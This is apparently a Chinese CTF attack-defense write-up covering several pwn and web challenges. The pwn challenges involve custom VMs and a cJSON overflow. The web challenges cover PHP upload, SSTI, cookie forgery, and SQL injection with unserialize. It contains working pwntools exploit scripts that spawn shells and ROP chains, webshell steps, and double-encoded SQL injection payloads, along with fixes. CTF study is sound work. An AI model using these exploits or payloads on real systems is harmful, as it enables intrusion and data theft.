# 粤湾中心

1. 检查题目保护，发现保护全开
2. 通过IDA分析，得到以下自定义模拟指令  
   'ADD':0xA0,  
   'DIV':0xB0,  
   'MUL':0xc0,  
   'SUB':0xD0,  
   'SHL':0xe0,  
   'SHR':0xf0,  
   'XOR':0x10,  
   'OR':0x20,  
   'AND':0x30,  
   'MOV':0x40,  
   'JMP':0x50,  
   'SHOW':0x60,  
   'PUSH':0x70,  
   'POP':0x80,  
   'MOV\_TO\_MEMORY':0x41,  
   'MOV\_MEMORY\_TO\_REGEX':0x42  
   3.然后在MOV\_MEMORY\_TO\_REGEX和MOV\_TO\_MEMORY指令发现了负整数溢出，在模拟寄存器中放好负数，越界读取BSS段的stdin指针，通过以上两个指令实现修改BSS段上模拟ESP的指针为stdin+0x60的位置，题目的init函数中将flag数据dup2到0x2333，通过模拟PUSH指令在stdin的fileno位置修改为0x2333，即可输出flag

|  |
| --- |
| #!/usr/bin/python2.7  # -\*- coding: utf-8 -\*-  from pwn import \*  context.log\_level = "debug"  context.arch = "amd64"  elf = ELF("RHVM.bin")  lib = 0  sh = 0  def pwn(ip,port,debug):  global sh  global lib  if(debug == 1):  sh = process("./RHVM.bin")  else:  sh = remote(ip,port)  opcode = {'ADD':0xA0,  'DIV':0xB0,  'MUL':0xc0,  'SUB':0xD0,  'SHL':0xe0,  'SHR':0xf0,  'XOR':0x10,  'OR':0x20,  'AND':0x30,  'MOV':0x40,  'JMP':0x50,  'SHOW':0x60,  'PUSH':0x70,  'POP':0x80,  'MOV\_TO\_MEMORY':0x41,  'MOV\_MEMORY\_TO\_REGEX':0x42  }  time = 0.1  def spawnCode(code,x1,x2):  return str((code << 16) + (x1 << 8) + x2)  codeList = [  spawnCode(opcode['MOV'],0,0x5),  spawnCode(opcode['MOV'],1,0x2),  spawnCode(opcode['SHL'],0,1),  spawnCode(opcode['MOV'],1,0),  spawnCode(opcode['SUB'],1,0),  spawnCode(opcode['MOV'],0,0),  spawnCode(opcode['MOV\_MEMORY\_TO\_REGEX'],0,1),  spawnCode(opcode['MOV'],2,1),  spawnCode(opcode['ADD'],1,2),  spawnCode(opcode['MOV'],2,2),  spawnCode(opcode['MOV\_MEMORY\_TO\_REGEX'],2,1),  spawnCode(opcode['MOV'],3,6),  spawnCode(opcode['MOV'],4,4),  spawnCode(opcode['SHL'],3,4),  spawnCode(opcode['ADD'],0,3),  spawnCode(opcode['MOV'],3,5),  spawnCode(opcode['MOV'],4,1),  spawnCode(opcode['SHL'],3,4),  spawnCode(opcode['ADD'],1,3),  spawnCode(opcode['MOV\_TO\_MEMORY'],1,2),  spawnCode(opcode['SUB'],1,4),  spawnCode(opcode['MOV\_TO\_MEMORY'],1,0),  spawnCode(opcode['MOV'],0,4),  spawnCode(opcode['MOV'],1,3),  spawnCode(opcode['MOV'],2,3),  spawnCode(opcode['SHL'],0,1),  spawnCode(opcode['ADD'],0,2),  spawnCode(opcode['MOV'],2,1),  spawnCode(opcode['SHL'],0,1),  spawnCode(opcode['ADD'],0,2),  spawnCode(opcode['MOV'],1,1),  spawnCode(opcode['MOV'],2,1),  spawnCode(opcode['SHL'],0,1),  spawnCode(opcode['ADD'],0,2),  spawnCode(opcode['PUSH'],0,5),  spawnCode(opcode['PUSH'],0,5),  spawnCode(opcode['PUSH'],0,5),  spawnCode(opcode['PUSH'],0,0),  ]  sh.sendlineafter(":",'0')  sh.sendlineafter(":",'0')  sh.sendlineafter(":",str(len(codeList)))  sh.recvuntil(":")  payload = ''  for i in codeList:  payload += i + ' '  payload = payload[0:len(payload) - 1]  sh.sendline(payload)  if(debug == 1):  log.success("pid: " + str(sh.pid))  sh.interactive()  if \_\_name\_\_ == "\_\_main\_\_":  pwn("127.0.0.1",8888,0) |

# 粤湾证券

1. 检查题目保护，发现保护全开
2. 通过IDA分析，得到以下自定义模拟指令  
   defense\_opcode = {  
   'BAN\_CALL\_ADDRESS':0x10,  
   'BAN\_CALL\_SYMBOL' :0x20,  
   'DEFENSE\_BAN\_STACK\_MEMORY':0x40,  
   }  
   attack\_opcode = {  
   'PUSH':0x10,  
   'POP':0x20,  
   'CALL\_SYMBOL':0x40,  
   }  
   单个指令结构：  
   typedef struct AttackCode{  
   unsigned long opcode;  
   char buf[SYMBOL\_NAME\_SIZE];  
   unsigned long x1;  
   }AttackCode;  
   同时攻击者发送的数据为base64数据，程序接受之后会解密并memcpy到内存块中
3. 程序启动的时候读入defense文件，然后memcpy到内存块中进行vm解释器扫描，按照defense制订的规则对payload进行防御。若检测到payload带有攻击字符串，则直接清空这块指令，使得payload失效。
4. 在防御方没有防御的情况下，最简单的方法就是直接执行system指令
5. 在防御者有防御的情况下被check，则会输出哪一条指令被defense规则检查，然后攻击方还要进一步加强自己的payload
6. 如果攻破靶机，可以通过cat /defense窃取别人的防守规则进行防御

|  |
| --- |
| #!/usr/bin/python2.7  # -\*- coding: utf-8 -\*-  from pwn import \*  import base64  context.log\_level = "debug"  context.arch = "amd64"  elf = ELF("pwn")  lib = 0  sh = 0  def pwn(ip,port,debug):  global sh  global lib  if(debug == 1):  sh = process("./pwn")  lib = ELF("/lib/x86\_64-linux-gnu/libc.so.6")  else:  sh = remote(ip,port)  lib = ELF("/lib/x86\_64-linux-gnu/libc.so.6")  def spawnCode(code,content,num):  return p64(code) + content.ljust(8,'\x00') + p64(num)  defense\_opcode = {  'BAN\_CALL\_ADDRESS':0x10,  'BAN\_CALL\_SYMBOL' :0x20,  'DEFENSE\_BAN\_STACK\_MEMORY':0x40,  }  attack\_opcode = {  'PUSH':0x10,  'POP':0x20,  'CALL\_SYMBOL':0x40,  }  '''  0x4f2c5 execve("/bin/sh", rsp+0x40, environ)  constraints:  rcx == NULL  0x4f322 execve("/bin/sh", rsp+0x40, environ)  constraints:  [rsp+0x40] == NULL  0x10a38c execve("/bin/sh", rsp+0x70, environ)  constraints:  [rsp+0x70] == NULL  0x00000000001240a2 : mov edx, 0x5b002c72 ; ret  0x000000000009df14 : mov edx, 0x63480034 ; ret  0x000000000014bd8a : mov edx, 0x89002a41 ; ret 0xc166  0x00000000000f574c : mov edx, 0x8948fff2 ; ret  0x00000000000e55c5 : mov edx, 0x8948fff3 ; ret 0x8949  0x00000000000d64d5 : mov edx, 0x8948ffff ; ret 0xc031  0x0000000000062686 : mov edx, 0xf6000017 ; ret 0xf40  '''  #attack  sh.recvuntil("gift:0x")  libc = int(sh.recvuntil("\n",True),16)  binsh = libc + lib.search("/bin/sh\x00").next()  \_\_free\_hook = libc + lib.symbols['\_\_free\_hook']  \_\_malloc\_hook = libc + lib.symbols['\_\_malloc\_hook']  \_\_realloc\_hook = libc + lib.symbols['\_\_realloc\_hook']  system = libc + lib.symbols['system']  one\_gadget = [0x4f2c5,0x4f322,0x10a38c,]  #defense  fd = open("./defense","w+")  payload = spawnCode(defense\_opcode['BAN\_CALL\_SYMBOL'],'system',0)  fd.write(payload)  fd.close()  #system2getShell  payload = ''  payload += spawnCode(attack\_opcode['PUSH'],'',binsh)  payload += spawnCode(attack\_opcode['CALL\_SYMBOL'],'system',0)  payload = base64.b64encode(payload)  sh.sendlineafter(":",payload)  ''' '''  '''  #defense  fd = open("./defense","w+")  payload = spawnCode(defense\_opcode['BAN\_CALL\_SYMBOL'],'gets',0)  fd.write(payload)  fd.close()  #\_\_free\_hook2system2getShell  payload = ''  payload += spawnCode(attack\_opcode['PUSH'],'',\_\_free\_hook)  payload += spawnCode(attack\_opcode['CALL\_SYMBOL'],'gets',0)  payload += spawnCode(attack\_opcode['POP'],'',0)  payload += spawnCode(attack\_opcode['PUSH'],'',binsh)  payload += spawnCode(attack\_opcode['CALL\_SYMBOL'],'free',0)  payload = base64.b64encode(payload)  sh.sendlineafter(":",payload)  sh.sendline(p64(system))  '''  '''  #defense  fd = open("./defense","w+")  payload = spawnCode(defense\_opcode['BAN\_CALL\_SYMBOL'],'gets',0)  fd.write(payload)  fd.close()  #\_\_free\_hook2system2getShell  payload = ''  payload += spawnCode(attack\_opcode['PUSH'],'',\_\_malloc\_hook)  payload += spawnCode(attack\_opcode['CALL\_SYMBOL'],'gets',0)  payload += spawnCode(attack\_opcode['POP'],'',0)  payload += spawnCode(attack\_opcode['PUSH'],'',binsh)  payload += spawnCode(attack\_opcode['CALL\_SYMBOL'],'malloc',0)  payload = base64.b64encode(payload)  sh.sendlineafter(":",payload)  sh.sendline(p64(system))  '''  '''  #defense  fd = open("./defense","w+")  payload = spawnCode(defense\_opcode['DEFENSE\_BAN\_STACK\_MEMORY'],'',lib.symbols['\_\_malloc\_hook'])  fd.write(payload)  fd.close()  #\_\_malloc\_hook2one\_gadget2getShell  payload = ''  payload += spawnCode(attack\_opcode['PUSH'],'',\_\_free\_hook)  payload += spawnCode(attack\_opcode['CALL\_SYMBOL'],'gets',0)  payload += spawnCode(attack\_opcode['POP'],'',0)  payload += spawnCode(attack\_opcode['PUSH'],'',binsh)  payload += spawnCode(attack\_opcode['CALL\_SYMBOL'],'free',0)  payload = base64.b64encode(payload)  sh.sendlineafter(":",payload)  sh.sendline(p64(libc + one\_gadget[1]))  '''  '''  #defense  fd = open("./defense","w+")  payload = spawnCode(defense\_opcode['BAN\_CALL\_SYMBOL'],'execve',0)  fd.write(payload)  fd.close()  #execve2getShell  payload = ''  payload += spawnCode(attack\_opcode['PUSH'],'',binsh)  payload += spawnCode(attack\_opcode['PUSH'],'',0)  payload += spawnCode(attack\_opcode['CALL\_SYMBOL'],'execve',0)  payload = base64.b64encode(payload)  sh.sendlineafter(":",payload)  '''  '''  #defense  fd = open("./defense","w+")  payload = spawnCode(defense\_opcode['BAN\_CALL\_SYMBOL'],'execl',0)  fd.write(payload)  fd.close()  #execl2getShell  payload = ''  payload += spawnCode(attack\_opcode['PUSH'],'',binsh)  payload += spawnCode(attack\_opcode['PUSH'],'',0)  payload += spawnCode(attack\_opcode['CALL\_SYMBOL'],'execl',0)  payload = base64.b64encode(payload)  sh.sendlineafter(":",payload)  '''  '''  #defense  fd = open("./defense","w+")  payload = spawnCode(defense\_opcode['BAN\_CALL\_SYMBOL'],'execlp',0)  fd.write(payload)  fd.close()  #execlp2getShell  payload = ''  payload += spawnCode(attack\_opcode['PUSH'],'',binsh)  payload += spawnCode(attack\_opcode['PUSH'],'',0)  payload += spawnCode(attack\_opcode['CALL\_SYMBOL'],'execlp',0)  payload = base64.b64encode(payload)  sh.sendlineafter(":",payload)  #execlp, execvp, execle  '''  '''  #defense  fd = open("./defense","w+")  payload = spawnCode(defense\_opcode['BAN\_CALL\_SYMBOL'],'execvp',0)  fd.write(payload)  fd.close()  #execvp2getShell  payload = ''  payload += spawnCode(attack\_opcode['PUSH'],'',binsh)  payload += spawnCode(attack\_opcode['PUSH'],'',0)  payload += spawnCode(attack\_opcode['CALL\_SYMBOL'],'execvp',0)  payload = base64.b64encode(payload)  sh.sendlineafter(":",payload)  '''  '''  #defense  fd = open("./defense","w+")  payload = spawnCode(defense\_opcode['BAN\_CALL\_SYMBOL'],'execle',0)  fd.write(payload)  fd.close()  #execl2getShell  payload = ''  payload += spawnCode(attack\_opcode['PUSH'],'',binsh)  payload += spawnCode(attack\_opcode['PUSH'],'',0)  payload += spawnCode(attack\_opcode['CALL\_SYMBOL'],'execle',0)  payload = base64.b64encode(payload)  sh.sendlineafter(":",payload)  '''  '''  #defense  fd = open("./defense","w+")  payload = spawnCode(defense\_opcode['BAN\_CALL\_SYMBOL'],'execv',0)  fd.write(payload)  fd.close()  #execl2getShell  payload = ''  payload += spawnCode(attack\_opcode['PUSH'],'',binsh)  payload += spawnCode(attack\_opcode['PUSH'],'',0)  payload += spawnCode(attack\_opcode['CALL\_SYMBOL'],'execv',0)  payload = base64.b64encode(payload)  sh.sendlineafter(":",payload)  '''  '''  #defense  fd = open("./defense","w+")  payload = spawnCode(defense\_opcode['BAN\_CALL\_SYMBOL'],'',lib.symbols['execl'])  fd.write(payload)  fd.close()  #orw2readflag  payload = ''  payload += spawnCode(attack\_opcode['PUSH'],'',0)  payload += spawnCode(attack\_opcode['PUSH'],'',\_\_free\_hook)  payload += spawnCode(attack\_opcode['CALL\_SYMBOL'],'read',0)  #payload += spawnCode(attack\_opcode['PUSH'],'',\_\_free\_hook)  #payload += spawnCode(attack\_opcode['PUSH'],'',0)  #payload += spawnCode(attack\_opcode['CALL\_SYMBOL'],'open',0)  #payload += spawnCode(attack\_opcode['PUSH'],'',3)  #payload += spawnCode(attack\_opcode['PUSH'],'',\_\_free\_hook)  #payload += spawnCode(attack\_opcode['CALL\_SYMBOL'],'read',0)  #payload += spawnCode(attack\_opcode['PUSH'],'',\_\_free\_hook)  #payload += spawnCode(attack\_opcode['CALL\_SYMBOL'],'puts',0)  input()  payload = base64.b64encode(payload)  sh.sendlineafter(":",payload)  '''  sh.interactive()  if \_\_name\_\_ == "\_\_main\_\_":  pwn("127.0.0.1",8888,0) |

# 粤湾银行

本题实现了一个自定义的指令集，程序有几个基础功能，分别是新建，运行，删除，在虚拟机的指令编写中，因为没有规定好虚拟内存与真实内存的范围，导致了可以访问真实内存的问题，配合上uaf，即可控制程序的执行流

|  |
| --- |
| from pwn import \*  from time import \*  #context.log\_level = 'debug'  #r = process("./vm")  r = remote("127.0.0.1",9999)  r.recvuntil(">>> ")  r.sendline("1")  shellcode = [83,6,252,0,0,0,0,3,6,16,1,67,3,1,0,0,0,16,1,67,3,1,0,0,0,16,1,67,3,1,0,0,0,16,1,1,0,6,0,83,0,72,0,0,0,0,3,0,3,2,4,0,0,0,192,8,16,0,32,3,48,2,211,2,0,0,0,0,241,244,176]  sc = "".join([chr(i) for i in shellcode])  sleep(0.5)  r.send(sc)  r.recvuntil(">>> ")  r.sendline("3")  r.recvuntil(">>> ")  r.sendline("2")  sleep(0.5)  #libc = u32(r.recv(4))-0x1b27b0  libc = u32(r.recv(4))-0x1b07b0  print hex(libc)  #r.sendline(p32(libc + 0x3ac69)+"1")  r.sendline(p32(libc + 0x3a819)+"1")  r.sendline("cat flag")  r.interactive() |

# 粤湾保险

本题基于cJSON设计，原本是平时使用的json-parser fuzzer，

后来改成根据json大小分类测试cJSON API。漏洞在cJSON1.7.10的cJSON\_Minify，

删除注释时未闭合时溢出，导致内存concat从而泄露内存信息，

配合上CreateJson中的栈溢出可以getshell

|  |
| --- |
| from pwn import \*  from binascii import hexlify as h  from time import sleep  from sys import argv  #context.log\_level = "debug"  libc = ELF("/lib/x86\_64-linux-gnu/libc-2.27.so")  def choice(menu,select):  io.sendlineafter(menu,str(select))  def sendJson(size,json,show,gg=True):  choice("(-1/0/1)",1)  choice("Len:",size)  if size < 0x100:  io.sendlineafter("Str:",json) if gg == True else io.sendafter("Str:",json)  io.recvuntil("RAW DATA:")  leak = io.recvline()  buf = io.recv(1)  if buf == "W":  choice("(0/1)",show)  info("JSON ON HEAP")  elif buf == 'V':  info("JSON ON STACK")  else:  info("INCORRECT JSON")  return leak  else:  io.sendlineafter("id:",json[0])  io.sendlineafter("data",json[1])  def delJson(idx):  choice("(-1/0/1)",-1)  choice("Idx:",idx)  io.recvuntil("Removement done")  return  while(True):  try:  if len(argv)==1:  io = process("./mislead")  elif len(argv)==3:  io = remote(argv[1],int(argv[2]))  else:  critical("INVALID ARGV")  info("FengShui for leak heap base @ size 0x40\n\n")  sendJson(0x80,'{"id":"","data":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}',0)  [sendJson(0x3f,'{"id":"","data":""}',1) for \_ in range(3)]  delJson(2)  delJson(0)  payload = '{"id":"","data":"%s"}'%'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'  payload += '/\*'  hbase\_40 = u64(sendJson(0x3f,payload,0)[0x3d:0x42].ljust(8,'\x00'))<<8  success("JE\_HBASE@0x40 -> %#x"%hbase\_40)  #gdb.attach(io,'b\* cJSON\_Minify+250')  info("FengShui for leak stack\n\n")  leak = sendJson(0x27,"a"\*0x21+"/\*\x00\x00/\*",0,gg=False)  canary = u64(leak[0x21:0x28].ljust(8,'\x00'))<<8  stack = u64(leak[0x28:0x2e].ljust(8,'\x00'))  assert (stack>=0x7f0000000000)  success("CANARY -> %#x"%canary)  success("STACK -> %#x"%stack)  #gdb.attach(io,'b\* createJSON')  io.sendafter("(enter to pass):","d"\*0x2c+"/\*")  io.sendafter("(enter to pass):","d"\*0x28+p64(canary))  io.sendafter("(enter to pass):","\n")  binary = ELF("./mislead")  pop\_rdi = 0x0000000000405f03  pop\_rbp = 0x0000000000401273  ppop\_rsi = 0x0000000000405f01  lpop\_rdx = 0x0000000000001b96  lpop\_rax = 0x00000000000439c8  syscall = 0x00000000000d2975  payload = 'B'\*8  payload += 'C'\*0x10+'A'\*0xe0  payload += p64(0xf0)  payload += p64(stack-(0x7ffe804d9370-0x7ffe804d8ac0)+0x200)  payload += p64(0x400fc9)  payload += p64(0x401274)\*22#'a'\*0xb0  payload += p64(stack-(0x7fff41dd5e60-0x7fff41dd57b0))#0xf0  payload += p64(canary)\*7  payload += 'a'\*0x600  payload += p64(stack-0x90)  payload += p64(canary)  payload += p64(stack-0x20)  payload += p64(pop\_rdi)  payload += p64(binary.got['printf'])  payload += p64(0x4011ed)  payload += p64(0)\*9  payload += p64(canary)  payload += p64(0)\*5  payload += p64(pop\_rbp)  payload += p64(stack-(0x7ffe804d9370-0x7ffe804d8ac0)+0x100)  payload += p64(0x40165c)  payload += p64(0x400fd3)  sendJson(0x7ff,["fuck",payload],0)  #io.interactive()  io.recvuntil('"\n')  raw\_input("SOMETHING STUCK")  #print io.recv()  lbase = u64(io.recv(7)[1:].ljust(8,'\x00'))-libc.sym['printf']  success("LBASE @libc -> %#x"%lbase)  payload = p64(lbase+0x9d661)  payload += p64(pop\_rdi)+p64(lbase+0x1b3e9a)  payload += p64(ppop\_rsi)+p64(0)+p64(canary)  payload += p64(lbase+lpop\_rdx)+p64(0)  payload += p64(lbase+lpop\_rax)+p64(0x3b)  payload += p64(lbase+syscall)  io.sendline(payload)  io.recvuntil('(enter to pass):')  io.send("\n")  io.interactive()  exit()  except Exception,e:  log.critical(str(Exception)+str(e))  io.close()  #gcc mislead.c -o mislead -fPIC -pie -Wl,-z,now -Wl,-z,relro -Bstatic -l:libcjson.a -L . |

# 粤湾基金

**考点：**文件上传

**漏洞点：**

application/home/controller/Uploadify.php中的preview函数

182行开始：

|  |
| --- |
| **$src = file\_get\_contents('php://input');**  if (**preg\_match("#^data:image/(\w+);base64,(.\*)$#", $src, $matches)**) {  $previewUrl = sprintf(  "%s://%s%s",  isset($\_SERVER['HTTPS']) && $\_SERVER['HTTPS'] != 'off' ? 'https' : 'http',  $\_SERVER['HTTP\_HOST'],$\_SERVER['REQUEST\_URI']  );  $previewUrl = str\_replace("preview.php", "", $previewUrl);  **$base64 = $matches[2];**  **$type = $matches[1];**  if ($type === 'jpeg') {  $type = 'jpg';  }  **if(strtolower($type)=='php'){**  **die('hacked!');**  **}**  **$filename = md5($base64).".$type";**  **$filePath = $DIR.DIRECTORY\_SEPARATOR.$filename;**  if (file\_exists($filePath)) {  die('{"jsonrpc" : "2.0", "result" : "'.$previewUrl.'preview/'.$filename.'", "id" : "id"}');  } else {  **$data = base64\_decode($base64);**  **file\_put\_contents($filePath, $data);**  die('{"jsonrpc" : "2.0", "result" : "'.$previewUrl.'preview/'.$filename.'", "id" : "id"}');  }  } else {  die('{"jsonrpc" : "2.0", "error" : {"code": 100, "message": "un recoginized source"}}');  } |

**利用：**

文件application/home/controller/Uploadify.php对应路由

/index.php/home/Uploadify/preview

访问上面的链接并POST过去：

 screenshot of a cell phone

Description automatically generated

然后访问：

/preview/cdb892d473944c958369cac8cd57c8eb.php3读取/flag

A screenshot of a cell phone

Description automatically generated

**修补方案**：

生成随机文件名、file\_put\_content()、修改权限、返回文件名

|  |
| --- |
| $filename = md5($base64).rand().".$type";  $filePath = $DIR.DIRECTORY\_SEPARATOR.$filename;  $data = base64\_decode($base64);  file\_put\_contents($filePath, $data);  if(chmod($filePath, 0444)){  die('{"jsonrpc" : "2.0", "result" : "'.$previewUrl.'preview/'.$filename.'", "id" : "id"}');  }else{  unlink($filePath);  die('{"jsonrpc" : "2.0", "error" : {"code": 101, "message": "upload error"}}');  } |

# 粤湾投资

**考点**：SSTI

**漏洞点**：Apps/Home/Controller/JqueryController.class.php

|  |
| --- |
| namespace Home\Controller;  class JqueryController extends CommonController {  public function index(){  **if(!isset($\_GET['template\_file'])) {**  $this->seoData = array('title' => 'Jquery插件', 'keywords' => 'Jquery插件', 'description' => 'Jquery插件');  $this->display();  }  else{  **$this->display($\_GET['template\_file']);**  }  }  } |

**利用：**

将/flag直接作为模板进行渲染

/index.php/Jquery/index?template\_file=/flag

A screenshot of a cell phone

Description automatically generated

**修补方案**：

判断$\_GET['template\_file']的路径是不是在模板文件夹的目录下

# 粤湾期货

**考点**：越权+文件上传

**漏洞点**：/admin/plugin.php

**利用**：

由于此 cms 的用户 cookie 是用固定 AUTH\_KEY 加密的，所以可以伪造 cookie 在不登录 admin 账号情况下越权访问后台文件

|  |
| --- |
| GET /admin/plugin.php HTTP/1.1  Host: 127.0.0.1:8068  User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8  Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2  Accept-Encoding: gzip, deflate  Cookie: PHPSESSID=9ksldotamdg9trc038pd22djb7; EM\_AUTHCOOKIE\_W5ybaCEXHdrHWkYBR6bvBATPe8K9inQP=admin%7C%7Ce13aca594aae3d6240938911ac7257f7;  DNT: 1  Connection: close  Upgrade-Insecure-Requests: 1 |

A screenshot of a social media post

Description automatically generated

然后在后台系统，插件管理处可以上传压缩包格式的插件，需要上传文件夹名和文件名相同的内容的压缩包，而且是 php 文件，因此可以构造以下形式的压缩包上传生成后门

A close up of a logo

Description automatically generated

A screenshot of a cell phone

Description automatically generated

然后访问/content/plugins/1/1.php，读取flag：

A screenshot of a social media post

Description automatically generated

**修补方案**：

1.越权修补

2.文件上传修补

# 粤湾租赁

**考点**：sqli+反序列化 + 弱口令

**漏洞点**：

1.sqli+反序列化： admin/order.php?act=info&order\_id=7中Cookie头中的ECSCP[lastfilter]项存在sqli+反序列化漏洞

2.弱口令：管理员后台登录：admin/admin123，在模板管理处可插入一句话木马

**利用**：

**1.sqli+反序列化直接通过load\_file()读取flag文件的内容**

因为报错注入只能出32位数据，所以分两次注入：

payload:

a:1:{s:16:"composite\_status";s:86:"1'and(extractvalue(1,concat(0x7e,substr((select load\_file('/flag.txt')),1,16),0x7e)))#";}

两次urlencode：

%25%36%31%25%33%61%25%33%31%25%33%61%25%37%62%25%37%33%25%33%61%25%33%31%25%33%36%25%33%61%25%32%32%25%36%33%25%36%66%25%36%64%25%37%30%25%36%66%25%37%33%25%36%39%25%37%34%25%36%35%25%35%66%25%37%33%25%37%34%25%36%31%25%37%34%25%37%35%25%37%33%25%32%32%25%33%62%25%37%33%25%33%61%25%33%38%25%33%36%25%33%61%25%32%32%25%33%31%25%32%37%25%36%31%25%36%65%25%36%34%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%37%33%25%37%35%25%36%32%25%37%33%25%37%34%25%37%32%25%32%38%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%36%63%25%36%66%25%36%31%25%36%34%25%35%66%25%36%36%25%36%39%25%36%63%25%36%35%25%32%38%25%32%37%25%32%66%25%36%36%25%36%63%25%36%31%25%36%37%25%32%65%25%37%34%25%37%38%25%37%34%25%32%37%25%32%39%25%32%39%25%32%63%25%33%31%25%32%63%25%33%31%25%33%36%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33%25%32%32%25%33%62%25%37%64

A screenshot of a cell phone

Description automatically generated

payload：

a:1:{s:16:"composite\_status";s:87:"1'and(extractvalue(1,concat(0x7e,substr((select load\_file('/flag.txt')),17,32),0x7e)))#";}

两次urldencode：

%25%36%31%25%33%61%25%33%31%25%33%61%25%37%62%25%37%33%25%33%61%25%33%31%25%33%36%25%33%61%25%32%32%25%36%33%25%36%66%25%36%64%25%37%30%25%36%66%25%37%33%25%36%39%25%37%34%25%36%35%25%35%66%25%37%33%25%37%34%25%36%31%25%37%34%25%37%35%25%37%33%25%32%32%25%33%62%25%37%33%25%33%61%25%33%38%25%33%37%25%33%61%25%32%32%25%33%31%25%32%37%25%36%31%25%36%65%25%36%34%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%37%33%25%37%35%25%36%32%25%37%33%25%37%34%25%37%32%25%32%38%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%36%63%25%36%66%25%36%31%25%36%34%25%35%66%25%36%36%25%36%39%25%36%63%25%36%35%25%32%38%25%32%37%25%32%66%25%36%36%25%36%63%25%36%31%25%36%37%25%32%65%25%37%34%25%37%38%25%37%34%25%32%37%25%32%39%25%32%39%25%32%63%25%33%31%25%33%37%25%32%63%25%33%33%25%33%32%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33%25%32%32%25%33%62%25%37%64

A screenshot of a social media post

Description automatically generated

**2.弱口令：admin/admin123登陆管理员后台，在模板管理-语言配置处可以插入一句话木马，然后读取/flag文件**

A screenshot of a social media post

Description automatically generated

然后访问languages/zh\_cn/common.php?1=system('cat /flag.txt’)读取flag

A screenshot of a cell phone

Description automatically generated

**修补方案：**

1.修补sqli/反序列化漏洞

2.弱口令：在update.sh修改后台管理员账号密码